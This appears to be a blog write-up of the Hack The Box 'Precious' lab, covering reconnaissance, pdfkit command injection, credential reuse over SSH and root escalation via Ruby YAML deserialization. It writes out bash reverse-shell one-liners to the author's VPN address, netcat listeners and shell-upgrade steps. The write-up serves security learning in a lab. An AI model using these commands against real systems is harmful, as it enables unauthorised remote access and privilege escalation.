Sitemap

How to Hack Precious on Hack The Box: A Comprehensive Guide

10 min readFeb 5, 2024

--

Original: Hack The Box

I’m continuing to explore Hack The Box, and today I will explain how to hack an easy Linux machine called Precious.

Preparation

Let’s start a machine on Hack The Box: Precious. Next let’s launch ParrotOS from HTB to start hacking.

In the ParrotOS need to connect to HTB VPN. More details are available on HTB. When the VPN connection is ready, we can start hacking.

OpenVPN logs

This article is strictly for educational purposes to foster cybersecurity awareness. I am not responsible for any misuse of the information provided. Ethical guidelines and legal restrictions should always be adhered to.

Obtaining user access

Generated with ChatGPT

Let’s grab the IP address of a machine from the HTB website and start our reconnaissance with Nmap.

nmap -sV -sC -oA nmap/precious 10.10.11.189
  • -sV — identify versions of running services.
  • -sC — use default scanning scripts provided by Nmap.
  • -oA nmap/precious — save output from Nmap in a file for further analysis (always save your investigation results in some file to have the possibility to return to them).
  • 10.10.11.189 — IP of my Precious instance, which I grabbed from the HTB website.
Nmap scan results

We can see that there are two open ports:

  • 22 — SSH runs on it
  • 80 — NGINX which redirects us to http://precious.htb/

If I will try to open IP address of Precious in our browser — http://10.10.11.189 I will be redirected to http://precious.htb/, where nothing will be loaded, and Firefox will show that page can’t be loaded.

Let’s try to add http://precious.htb/ to /etc/hosts on my local machine (ParrotOS in VirtualBox).

sudo vim /etc/hosts
/etc/hosts

Let’s save a file and open http://precious.htb/ in the browser.

http://precious.htb/

It works! I can see that this website converts every page to PDF. Let’s try to do brute force and submit the URL: file:///etc/passwd to check if I will receive something. Unfortunately, nothing will be returned, so the next step is to better analyze this website.

I’m launching an HTTP web server with Python on my local machine to try redirect calls from http://precious.htb/ to my machine to see what real arguments that the application sends to the target site.

sudo python3 -m http.server 80
Local HTTP server

Next, I’m starting Burp Suite to see what requests the front-end will send to the back-end.

Burp Suite

Next, I’m enabling FoxyProxy to interrupt HTTP requests with Burp Suite (the same can be accomplished with Firefox settings, but FoxyProxy is a faster way to switch between proxies).

FoxyProxy plugin in Firefox

I didn’t have any configurations for proxies in FoxyProxy, so I added a config to proxy all requests to localhost, which will be intercepted by Burp Suite.

FoxyProxy config for Burp Suite

Next I created a test file in my directory where I started HTTP server with Python.

Create test.txt

I will use text.txt to have a dummy payload in http://precious.htb. Next, I’m getting the IP from ifconfig and the VPN adapter tun0, and sending a fake request to the target website with my IP address.

Test payload

The target website handled my payload and sent a request to my local HTTP server.

Handled HTTP request on local server

I’m repeating the same request, but with the Burp Suite interceptor enabled.

Burp Suite

Let’s try to send a command for execution using the Burp Suite repeater feature and experiment with different HTTP bodies.

Send request to Repeater

Awesome, right now I can play with a request in Repeater and investigate different payloads.

A request in Repeater

Let’s decode url parameter from HTTP body:

Decode URL

Let’s changed text.txt in url parameter to $(whoami) to test remote code execution.

$(whoami) in the url parameter

Let’s execute this HTTP request in a repeater and see the logs of the Python HTTP server.

GET /<username>

It works! The target website sent to my Python HTTP server URL with it’s username ruby which is a result of $(whoami) execution.

Since the target website allows me to remotely execute commands that I passed in the URL, I will try to open a reverse shell to my laptop. First, I’m starting a local server with netcat:

nc -lvnp 9001
nc -lvnp 9001

Next, I’m replacing a part of the URL, $(whoami) with:

bash -c 'bash -i >& /dev/tcp/10.10.14.9/9001 0>&1'
  • 10.10.14.9 — is my IP address.
  • 9001 — is my port where I launched netcat.

It doesn’t works, the target website doesn’t executes that’s code.

Let’s step back and send a request with test.txt and download the generated PDF file.

Test payload

PDF file is empty, because test.txt is empty as well.

Generated PDF file

Need to download it and save at the working directory for precious machine.

Saved pdf file — mlj8twdfq6jbaw2v1h20o9t2fo1rjzp1.pdf

Let’s investigate how this PDF file was generated with exiftool. To do so, I need first to install it in my ParrotOS:

sudo apt install libimage-exiftool-perl

Next, I’m analyzing generated pdf file with it:

exiftool mlj8twdfq6jbaw2v1h20o9t2fo1rjzp1.pdf
Metadata for generated pdf file

A very interesting part of this metadata is this line:

Creator: Generated by pdfkit v0.8.6

It provides me a clue which library was used to create a PDF file. Let’s Google it.

pdfkit v0.8.6

Awesome — first results show command injection; let’s dive deeper.

Command injection description

The website security.snyk.io contains an example of command injection in pdfkit. Let’s use it in the request parameter url.

Use command injection from an example

Before sending a request, I need to encode a payload.

Encode payload

It works — a response will be returned in 5 seconds. This means that I can try to create a reverse shell again with a command:

bash -c 'bash -i >& /dev/tcp/10.10.14.9/9001 0>&1'

which I will use as a payload for a query parameter q as shown in the screenshot below (I also need to encode it).

A payload with reverse shell

An encoded payload that is ready to send is in the screenshot below.

Encoded payload

After execution of this HTTP request, I received a shell for a user ruby 😀

Opened shell

Let’s improve the shell to use it conveniently with commands executed one by one:

  1. python -c 'import pty; pty.spwan("/bin/bash")'
  2. <Ctrl + z>
  3. ssty raw -echo
  4. fg
  5. Press enter twice

The shell should become like the one in the screenshot below.

Improved shell

I’m in the directory /var/www/pdfapp, probably something interesting should exists, let’s try to find it with find . -type f

/var/www/pdfapp find . -type -f

There are some files which I inspected with cat, but I didn’t find anything worthwhile. My next steps are to go to a user’s home directory and try to find something there. I’m typing cd and switching to a user’s home directory. After executing find . -type f, I can see some files as shown in the screenshot below.

/home/ruby find . -type -f

Let’s inspect config files with cat. I can see some credentials in .bundle/config.

User credentials at .bundle/config

It’s interesting, bacuse users may use the same passwords for different services. As far as I remember, the SSH server was up on port 22, so I’m trying to connect to it with credentials from the .bundle/config file.

SSH to host with henry user

Awesome! Credentials work, and I have access to the user account henry. Let me just inspect the home directory with ls.

User flag is in /home/henry directory

So, the user flag was in a file /home/henry/user.txt, which I will send to Hack The Box. I have user access to the Precious machine. Let’s try to escalate privileges and become root.

Obtaining a root access

Generated with ChatGPT

So I’m logged as the henry user, and to escalate privileges to root, I should first check the current user’s permissions with sudo -l to see which commands I can execute as the henry user.

sudo -l for a henry user

OK, there is a possibility to execute a file /opt/update_dependencies.rb as root from henry. Let’s open this file with vi and check it.

/opt/update_dependencies.rb

So the file imports some modules, reads YAML from a file dependencies.yml, and doesn’t do anything else. Let me try to launch it.

sudo ruby /opt/update_dependencies.rb

An error occured because there is no dependencies.yml. This is not very helpful. Let me check the Ruby version and try to Google some vulnerabilities in the Ruby modules.

Ruby Version
Ruby YAML vulnerability

Wow, so Ruby has some vulnerabilities in the YAML module, which is very good because I can use it to obtain root access. Let me change my query.

PayloadsAllTheThings is in search results

I can see a link to the GitHub repository PayloadsAllTheThings, which is a pretty good because I can try to use it.

Payload for different ruby versions

I have Ruby with version 2.7.4p191, for which PayloadsAllTheThings has a second payload. Let’s test it by creating a file dependencies.yml in the home directory and copying the second payload from GitHub, as shown in the screenshot below.

Let’s launch it with.

sudo ruby /opt/update_dependencies.rb

There is an error and the result of command execution id is username root. This is awesome! Let’s create a reverse shell from the root user. First of all, I need to start a local server in netcat.

nc -lvnp 9002

Next let’s change a payload to start a reverse shell with vi

bash -c ‘bash -i >& /dev/tcp/10.10.14.13/9002 0>&1’

Let’s save this payload and launch the dependencies update 😆.

sudo ruby /opt/update_dependencies.rb

The reverse shell for the root user was created.

Reverse shell for root

Let’s type ls and find the root flag.

root user flag

That’s it — Precious machine was rooted.

Conclusions

Submitted flags in Precious machine

I explained how to obtain user and root access to the machine Precious in Hack The Box. I learned two important concepts which I will use in my work as a software engineer during this lab:

  • Command substitution — software shouldn’t accept user input and execute it as a command; otherwise, hackers can receive a reverse shell on the machine where this software works.
  • Don’t allow system users who run applications on the server to have permission to run certain commands as root; otherwise, permission escalation can be performed, as I did on the Precious machine.

Thanks for finishing reading the article and follow me on Medium if you want to read similar articles regularly 🙂. Also, feel free to connect with me on LinkedIn.

--

--

Vitalii Honchar
Vitalii Honchar

Written by Vitalii Honchar

I'm software engineer curious about business and new products. Website: https://vitaliihonchar.com, twitter: https://twitter.com/vithonchar

No responses yet